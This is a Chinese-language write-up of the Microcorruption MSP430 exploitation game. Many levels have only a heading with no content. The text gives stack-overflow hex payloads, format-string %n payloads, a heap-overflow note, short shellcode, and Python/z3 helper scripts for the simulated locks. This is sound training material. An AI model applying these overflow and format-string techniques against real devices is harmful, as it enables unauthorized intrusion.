近期得空做了下Microcorruption,一个pwn方向的基础靶场。靶场做得很不错,可以在线通过网页对程序进行调试,操作性强,趣味性也不错,在开开心心打怪的同时还能掉不少装备,官方解释:(学到很多基础知识,进一步巩固了pwn方向的基本功),寓教于乐。靶场的操作也很简单,需要掌握的命令不多,关键的几个:s 单步 c 运行 b 断点 r 查看内存或寄存器的值,整个靶场的重心在于对代码的理解以及基础知识的掌握,个人做完后感觉还是很有收获的,现将writeup记录下来与大家交流一下。
1、Tutorial
关键代码:
2、New Orleans
关键代码:
到这里正确密码已经知道了。
3、Sydney
关键代码:
4、hanoi
关键代码:
5、cusco
通过简单分析可以看到,程序调用了INT函数,根据LockIT Pro用户手册第7页,可以看到INT函数的作用是将中断号压入栈中,然后调用系统中断,在 <INT>上方正是将“0x7d”压入栈中,所以这是调用INT 0x7d中断。
payload:使用十六进制输入:414141414141414141414141414141414644。
6、reykjavik
7、whitehorse
8、montevideo
9、johannesburg
10、santa cruz
这题的难点在于对输入的判断条件很多,要一步一步的测试,最终让程序正常往下运行即可;username在0x43a2,password在0x43b5,栈指针at 0x43a0,返回地址0x43cc;
Password : 626262626262626262626262626262626200
11、Jakarta
12、Addis Adaba
观察主函数;
看到很多printf函数,自然联想到可能考察的是格式化字符串漏洞;
找到关键的跳转位置;
想办法让448a处不满足跳转的条件,程序就可以往下执行到call了;利用了printf的漏洞,构造payload:08322569256e,即:0832%i%n
13、Novosibirsk
观察主函数;
还是同样利用了printf的漏洞来绕过;
重点在于要给函数<INT>压入参数0x7e,%n将用0x7f覆盖0x7e;所以payload构造为:
44c8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%n
转换为16进制为:
14、Algiers
观察主函数;
这里考察的是最基本的堆溢出;
输入:
user: aaaa
pass: bbbb
根据堆溢出的原理,查看free的返回地址;
构造payload为:
pass: <blank>
15、Vladivostok
观察主函数;
16、Lagos
最终payload为:
Password : 30127f00b012fc45
17、Bangalore
mark_page_executable地址+内存页面值+shellcode地址;
shellcode:
mov #0xff00, sr
call #0x10
18、Chernobyl
19、Hollywood
#!/usr/bin/env python import sys if len(sys.argv) < 2: print 'Usage : %s <msp430.dump> > msp430.bin' % sys.argv[0] quit() with open(sys.argv[1], 'r') as f: data = f.read() data = data.split('\n') last_addr = 0x0000 def addLine(addr, line): return '00' * (addr - last_addr - 16) + line bin = '' for line in data: if len(line) < 1: continue l = line[8:48] if l[0] == '*': continue bin += addLine(int(line[:4],16),l.replace(' ','')) last_addr = int(line[:4],16) print bin.decode('hex')
from z3 import * def itera(r4, r6, val): return (r6 ^ val, RotateLeft(r4 + val,8)) def hashfun(values): r4 = 0 r6 = 0 for v in values: (r4, r6) = itera(r4, r6, v) return (r4, r6) def solve(): for length in range(2,50, 1): values = [BitVec(chr(41+i), 16) for i in range(length)] (r4_f, r6_f) = hashfun(values) s = Solver() s.add(r4_f == 0xfeb1) s.add(r6_f == 0x9298) if s.check() == sat: print 'solution of len %2d: ' % length, m = s.model() final = '' for x in values: l = m[x].as_long() final += '%02x%02x' % (l & 0xff, l >> 8 & 0xff) print final if __name__ == '__main__': solve()
Password : 1220833eef6b